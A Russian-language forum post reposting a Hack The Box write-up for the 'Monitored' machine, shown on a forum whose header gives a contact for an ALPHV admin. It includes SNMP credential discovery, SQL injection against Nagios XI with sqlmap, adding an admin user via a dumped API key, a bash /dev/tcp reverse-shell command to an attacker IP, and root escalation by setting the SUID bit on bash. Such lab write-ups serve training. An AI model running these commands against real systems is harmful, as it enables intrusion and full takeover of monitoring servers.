• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Получаем доступ в систему через Nagios XI

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе мы поработаем с API системы мониторинга Nagios XI, проэксплуатируем SQL-инъекцию, создадим своего пользователя и злоупотребим возможностями админа, чтобы получить доступ к операционной системе. Затем несложным способом повысим привилегии в Linux.
Наша цель — получение прав суперпользователя на машине Monitored с учебной площадки Hack The Box. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.248 monitored.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Часто я дополнительно проверяю порт UDP 161.

sudo nmap -p161 -sU 10.10.11.248
В этот раз он оказался открыт.

Результат сканирования UDP-портов
Результат сканирования UDP-портов
Итого сканер нашел шесть открытых портов:
  • 22 — служба OpenSSH 8.4p1;
  • 80 и 443 — веб‑сервер Apache 2.4.56;
  • 389 — служба LDAP;
  • 5667 — неизвестный сервис;
  • 161 (UDP) — служба SNMP.
Также в выводе Nmap подмечаем редирект с порта 80 на адрес nagios.monitored.htb. Его тоже добавляем в /etc/hosts:

10.10.11.248 monitored.htb nagios.monitored.htb
Поскольку доступна служба SNMP, начнем именно с нее.


Точка входа​

SNMP — простой протокол управления сетью. Он используется для мониторинга устройств в сети (например, маршрутизаторов, коммутаторов, принтеров).

Тут следует сразу упомянуть два понятия:

  • MIB (Management Information Base) — база данных, хранящая информацию обо всех объектах (параметрах и настройках) устройства;
  • OID (Object Identifier) — числовой идентификатор объекта в дереве MIB.
При работе с удаленной системой по SNMP все запросы делаются по OID, который отражает положение объекта в дереве объектов MIB. Но чтобы получить всю информацию, нам сначала нужно пройти своеобразную аутентификацию, указав идентификатор сообщества. Так как мы ее не знаем, ее нужно перебрать, к примеру с помощью утилиты onesixtyone. Перебирать будем по словарю из набора Для просмотра ссылки Войди или Зарегистрируйся.

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.11.248
Перебор community-строк
Перебор community-строк

В итоге нашли всего одну community-строку — public. Все OID системы можно получить, просканировав устройство, например вот такой командой:

snmpwalk -v 2c -c public 10.10.11.248
Данные, полученные из системы
Данные, полученные из системы

Среди списков процессов есть скрипт check_host.sh, который получает в качестве параметров учетные данные. Больше в выводе ничего интересного нет, поэтому переходим к изучению сайта на обнаруженном при сканировании портов веб‑сервере.

Главная страница сайта nagios.monitored.htb
Главная страница сайта nagios.monitored.htb

Перейдя по главной ссылке, видим форму авторизации мониторинговой системы Nagios XI.

Система Nagios XI
Система Nagios XI

Точка опоры​

С имеющимися учетными данными авторизоваться в сервисе не вышло. У Nagios XI есть веб‑терминал, но и там авторизация неудачна.

Содержимое страницы terminal
Содержимое страницы terminal

Если учетная запись присутствует, но авторизация ей не разрешена, можно попробовать использовать API. Но и там нужен аутентификатор.

Для просмотра ссылки Войди или Зарегистрируйся XI/api/v1/user
Результат запроса к API user
Результат запроса к API user

Получить аутентификатор можно с помощью API authenticate, но данные авторизации нужно посылать методом POST.

curl -k [URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/authenticate
Результат запроса к API authenticate
Результат запроса к API authenticate

curl -X POST -k '[URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/authenticate/' -d 'username=svc&password=XjH7VCehowpR1xZB' | jq
Получение аутентификатора
Получение аутентификатора

Однако и теперь ничего нельзя сделать. Так как других вариантов нет, попробуем найти публичные эксплоиты для нашей версии Nagios XI. Искать для начала можно прямо в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google
Потратив некоторое время, я вышел на Для просмотра ссылки Войди или Зарегистрируйся нескольких уязвимостей для Nagios XI, в частности CVE-2023-40931.

Описание CVE-2023-40931
Описание CVE-2023-40931

На странице admin/banner_message-ajaxhelper.php присутствует SQL-инъекция в параметре id. Немного перебрав разные варианты запроса, я определил тот, который можно использовать для эксплуатации уязвимости. Помимо приведенных в статье данных, нужно указать полученный при аутентификации через API токен.

Чтобы быстро выудить все данные, будем использовать sqlmap.

sqlmap -u "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id --batch
Обнаруженная sqlmap нагрузка
Обнаруженная sqlmap нагрузка

Так как известны название базы и таблицы, можно быстро сдампить данные.

sqlmap -u "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=ce7a353cd90beeeeaba162da874024b84e9e6b3f" -p id -D Nagios XI -T xi_users --dump --batch
Данные из таблицы xi_users
Данные из таблицы xi_users

Продвижение​

В базе всего два пользователя, при этом скомпрометированный пользователь svc неактивен.

Данные из базы данных
Данные из базы данных

Сбрутить хеш у меня не вышло, однако теперь у нас есть токен api_key администратора системы. Этот ключ можно использовать для добавления нового пользователя, как указано на Для просмотра ссылки Войди или Зарегистрируйся Nagios XI. Чтобы наш пользователь был администратором, зададим параметр auth_level.

curl -X POST -k "[URL]https://nagios.monitored.htb/Nagios[/URL] XI/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=ralf&password=ralf&name=Ralf&email=[EMAIL]ralf@ralf.com[/EMAIL]&auth_level=admin"
Ответ сервера
Ответ сервера

Теперь можно авторизоваться от имени созданного пользователя.

Главная страница администратора
Главная страница администратора

Админ может выполнять системные команды на сервере. Для этого в главном меню нужно выбрать Configure → Core Config Manager, а затем в панели слева — Commands.

Для просмотра ссылки Войди или Зарегистрируйся
Страница Core Config Manager
Страница Core Config Manager

На странице Command Management нужно создать команду, которая активирует реверс‑шелл:

bash -c 'bash -i >& /dev/tcp/10.10.16.45/4321 0>&1
Страница Command Management
Страница Command Management

Давай теперь выполним эту команду. Для этого переходим в меню Hosts, где создаем новую запись. В параметре Check command выбираем созданную ранее команду.

Страница Hosts
Страница Hosts

Страница Host Management
Страница Host Management

Когда все готово, запускаем листенер (pwncat-cs -lp 4321) и триггерим команду кликом по кнопке Run Check Command.

Результат выполнения команды
Результат выполнения команды

Флаг пользователя
Флаг пользователя


В итоге получаем сессию на сервере от имени пользователя nagios.


Локальное повышение привилегий​

Первым делом нужно собрать информацию для дальнейшего продвижения. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Закидываем на хост скрипт для Linux, даем ему право на выполнение и запускаем сканирование. В выводе много информации, поэтому пройдемся по основным моментам.

Есть несколько файлов .services, куда мы можем производить запись.

Файл .services
Файл .services

В настройках sudoers — много команд, которые можно выполнить от имени root без ввода пароля.

Настройки sudoers
Настройки sudoers

Скрипт /usr/local/nagiosxi/scripts/manage_services.sh позволяет управлять многими службами, в том числе npcd.

Содержимое файла manage_services.sh
Содержимое файла manage_services.sh

Мы можем записывать в файл этой службы. Добавив в него команду, мы можем, например, дать права суперпользователя командной оболочке:

chmod u+s /bin/bash
Содержимое файла /usr/local/nagios/bin/npcd
Содержимое файла /usr/local/nagios/bin/npcd

Теперь останавливаем и запускаем службу. У файла командной оболочки появился S-бит, а значит, и права рута.

Код:
sudo /usr/local/Nagios XI/scripts/manage_services.sh stop npcd
sudo /usr/local/Nagios XI/scripts/manage_services.sh start npcd
Запуск службы
Запуск службы
Заходим снова и забираем флаг рута.

/bin/bash -p
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу